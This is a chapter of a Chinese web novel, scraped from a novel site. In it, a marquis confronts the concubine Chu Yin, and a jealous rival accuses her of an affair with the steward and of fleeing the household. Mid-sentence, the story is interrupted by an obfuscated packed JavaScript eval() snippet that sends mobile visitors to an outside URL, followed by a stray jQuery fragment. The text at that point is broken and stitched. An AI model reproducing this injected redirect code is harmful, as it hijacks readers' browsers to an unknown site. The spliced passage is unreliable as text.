文趣网 > 都市小说 > 眉心结 > 27. 碧痕院8
    往侧门去了,能去哪儿?

    难不成这褚娘子放着侯府的好日子不过,还准备离开不成。

    陶立姝心中胡乱揣测起来,下意识觉得不可能。

    李福从院外进来,那边走边擦汗,正正对上陶立姝探究的目光。

    “李总管,发生什么事了?”

    李福避而不答,“刚才可是爷唤人?”

    陶立姝盯着对方,答道:“爷问,褚因在哪儿。”

    果然从对方的脸上看到一闪而过的慌乱,心下忽然笃定起来,褚因不在府中。

    李福敲门,陶立姝跟进去,且看他如何遮掩。

    只听李福回禀道:“爷,褚娘子月信来了,身体不适,污了衣裙要换。”

    屏风里的人‘嗯’了一声。

    见侯爷不准备细问,陶娘子笑起来,“李总管可真细致,褚娘子若污了衣裙,我这儿也有两身新的,大可叫她进来换。”

    “来着月信,又往返折腾的,不将人给累坏了?”

    瞥见李福要开口,陶立姝又补充道:“好歹到了我院子门前,总得请人进来喝口茶,再差丫鬟回去取不就得了。”

    得,李福心里凉了一块,用余光瞥了一眼陶娘子,猜测对方是不是又知道了什么。

    “将人带进来。”屏风内传来定论。

    李福知道遮掩不过了。

    “爷,奴才有罪。”李福缓缓跪下。

    屏风内的人起身走出来,一双威压的凤眸视线落在他身上。

    李福酝酿了一瞬,准备和盘托出。

    “那褚娘子……”

    院子里传来杂乱的声音,有人喊道:“娘子这边这边。”

    褚因的声音如仙乐般飘进来:“我自己会走。”

    李福到嘴边的话一转:“那褚娘子,就在门口不愿意进来,奴才也没办法。”

    陆垏珩亦听到院子推搡的声音,抬步走出去。

    陶立姝嘴角噙着笑,“李总管可是……”

    剩下半截话不说了,只递过去一个意味不明的眼神。

    李福不明所以,“陶娘子有什么吩咐?”

    陶立姝摇摇头,朝房门边上的丫鬟看了一眼,眼神飘向院外。

    院子里,两个丫鬟一左一右扶着褚因,几乎是挤进院子里来。

    看到陆垏珩站在台阶上,纷纷低头行礼。

    只褚因微微低头站着,看向台阶下。

    陆垏珩将人上下打量一遍,一张小脸泛白,额头还微微冒着汗。

    他走到院中凳子上坐下,“过来。”

    褚因走过去,“侯爷有何吩咐?”

    陆垏珩下巴微抬:“给孤奉茶。”

    褚因就着桌上的壶,倒了半茶杯递过去。

    陆垏珩将将靠在唇边,却顺手将水一泼,茶碗滚落在地。

    “凉了。”

    明眼人谁看不出来主子不高兴,褚因垂手站着,也不哄人。

    陶立姝听得茶碗滚落在地,忙招呼院中的丫鬟收拾。

    “你跟孤说说,这碧痕院到前厅,多久走到?”

    褚因抿着唇不说话。

    陆垏珩冷笑,“最多不过一刻钟。”

    “而你,足足让孤等了两个时辰!”

    “孤不知,这侯府是姓陆,还是姓褚?”

    院内一干人等都如静如鹌鹑,几乎都敛了呼吸垂着头。

    眼见侯爷的怒气腾上来,陶娘子轻轻挽住侯爷的手臂:“爷消消气,万不能气坏了身子。”

    陆垏珩将胳膊抬起,挣开陶立姝的手,转而扣住褚因的下巴。

    “孤在问你。”

    抬手间,袖口滑落到手肘间,一个暗红狰狞的牙印清晰地印在侯爷的小臂上,陶立姝瞥了一眼,惊叫出声。

    一时将人的手臂抱住:“侯爷,这是怎么了?”

    陶立姝将人手臂捧起来,细细查看看伤口,印记之深,可见咬的人用了多大劲。

    陆垏珩不耐烦地将手收回来:“大惊小怪。”

    明显不欲计较。

    她忽地看向褚因:“褚娘子,可是你咬的?”

    褚因知道自己咬得重,也知道对方因此发怒,自己也已承受了相应的代价。

    只是陶娘子这兴师问罪的语气来得莫名,像是要为谁出头似的。

    褚因虽还不答话,陶立姝已然认定就是她所为。

    整个人失控般扑打过去,“你算个什么东西,敢伤侯爷?”

    褚因猝不及防被扑得一趔趄不说,侧脸还结结实实挨了一巴掌,又被陶立姝的指甲滑过,登时从耳边到脖颈一条红痕。

    李福忙差人将陶立姝拉住,又将褚因扶起来。

    陶立姝一把抱住自家侯爷,语带哭腔:“爷,如此以下犯上的东西留着作甚?哪里来送回哪里去吧。”

    陆垏珩皱紧眉头看着褚因脸上的红痕。

    褚因抬眼看他,眼里冷沉沉。

    陶立姝哭得梨花带雨,是真真心疼自家侯爷。

    陆垏珩示意李福将人拖开。

    陶立姝自然不肯:“爷若这等放纵下人,老夫人知道可如何是好?”

    “能对爷下如此重的口,对爷又有几分心?”

    一语踩重某些不能明说的角落

    见侯爷还不准备发落褚因,陶立姝甩开丫鬟的手,恨恨地看过去,竟气不过一般还要扑打上去。

    褚因刚被打了一次,现下瞥见对方扑过来,凌空抓住对方的手,顺势一带,将人摔出几丈远。

    陶娘子跌落在地,珠钗散落,衣裙也脏了,狼狈不堪。

    一时院里尽是她的哭声。

    陆垏珩沉下脸:“别哭了!”

    见陆垏珩抬脚要离开院子,陶立姝哪里肯轻易放过。

    “侯爷,奴有事要说!”

    陆垏珩不耐:“吵吵嚷嚷,成何体统,以后说。”

    “爷,褚因敢向爷下如此重的口,正是因为心中没爷。”

    “只因为,褚因心中挂念的,是李总管!”

    语不惊人死不休。

    一句话成功停住了侯爷离开的脚步。

    院子的丫鬟尽数跪下来,李福被吓得原地跳起来,圆脸全白了,颤颤地看向侯爷。

    陶立姝站起来,指着褚因:

    “前夜我和巧儿经过碧痕院,正看见李福和褚因拉拉扯扯不成体统。奴心有怀疑,差人去打听,才知褚因在春风楼时,李福已然答应花三百两银子为她赎身。”

    天爷。

    李福瞬间咬紧了后槽牙。

    “褚因是个春风楼的玩意儿,有人愿意为她赎身她哪有不肯的。”

    “春风楼的薛娘子说,褚因主动去找她赎身,而出钱的正是李总管。”

    李福跪下来,头砰砰磕在地上。

    “爷,爷明察啊。奴才是替爷办事啊。”

    陶立姝声音越尖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694665|207085||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“李总管是替侯爷办事?那为何春风楼的人会误认为是你要替褚因赎身?包括那看守谢朝的王妈,今日进府来还问我褚因跟李总管的好事成了没有!”

    陆垏珩脸阴沉下来。

    脑海里忽然闪过那薛凤的一句——“褚因进府来伺候总管,可还满意?”

    确实不是误听。

    “奴才冤枉啊,春风楼里的诸般事宜爷清楚啊,奴才是为了爷的名声,才假托奴才的名字给褚娘子赎身的啊。”

    李福真是有口难辩。

    被点名的两人,一个恨不得剖心剖肺证明自己的清白;另一个唇边竟挂着一抹冷笑,无动于衷。

    褚因跟看闹剧似的只觉着好笑,她和李福拉拉扯扯?她喜欢李福?

    这陶娘子的眼睛不知道长在哪里的。

    陶立姝何尝不知道空穴来风的事情一棒子打不死人。

    可就这么巧,褚因偏生在今日给她送来一把好刀。

    更何况她是真的气,气得顾不周全了,侯爷小臂上的咬伤像痛在她心上似的,一个不爱惜侯爷的人,不连打带轰地赶出去,还留在府中做什么。

    陶立姝冷笑出声:“李总管说是给褚因赎身是为了侯爷的名声,那今日褚娘子私逃出府,李总管又是为何替对方遮掩!?”

    私逃出府。

    李福一时头也不磕了,僵直了身体跪着不动。

    若褚因真的逃出府,上至总管,下至看门的小厮,这一干人等都脱不了干系。

    之前陶立姝说李福和褚因有瓜葛,李福还能为自己辩解。

    可现在这一句确实是打在七寸上了。

    李福只想大事化小小事化了,哪能预想陶立姝在这里挖了这样一个深坑等着他。

    包庇徇私与前面有私情扯上联系。

    有嘴也说不清。

    陆垏珩冷哼几声:“李福,此话属实?”

    李福重重磕下头去:“爷……”不说话了。

    陆垏珩看向褚因,褚因的神色也变了一瞬。

    褚因确实出府了,走到街头,没有人追出来,看着卖凉糕的大娘走远。

    她对外面的世界毫无准备,只觉得身如浮萍,无处可去。

    何况还一直惦记着不知关在何处的冬丫。

    于是她又一步步走回来。

    走到侯府的大门,遇到找出来的童书。

    童书自然长舒一口气,立刻让褚因跟他走。

    “褚娘子差点犯大错,后院的娘子哪能自己出府,更何况侯爷正寻你。”

    童书走得急,也催得急。

    褚因走得满头汗,还没走到陶娘子院门口,小玉和绿兰就哭着跑上来。

    “若娘子不见了,奴婢们也活不成了。”

    又催着她进院子去。

    此刻,褚因只见陆垏珩踱步朝自己而来,一步一威重。

    他走到自己面前,居高临下,神色凝重:

    “你,私逃出府了?”

    褚因看着满院跪地的仆从,看着僵直着背的李福,看向面带不忿的陶娘子,视线最后落在眼前这人身上。

    他足够有权有势,掌握着一干人的身家性命,包括她的。

    私逃出府是陶娘子给这件事下的定义,恨不得将她推上绞刑架。

    可是,褚因不认为是这样。

    只听得她声线平和,一句话轻飘飘地说出来:

    “侯爷,奴走岔路了。”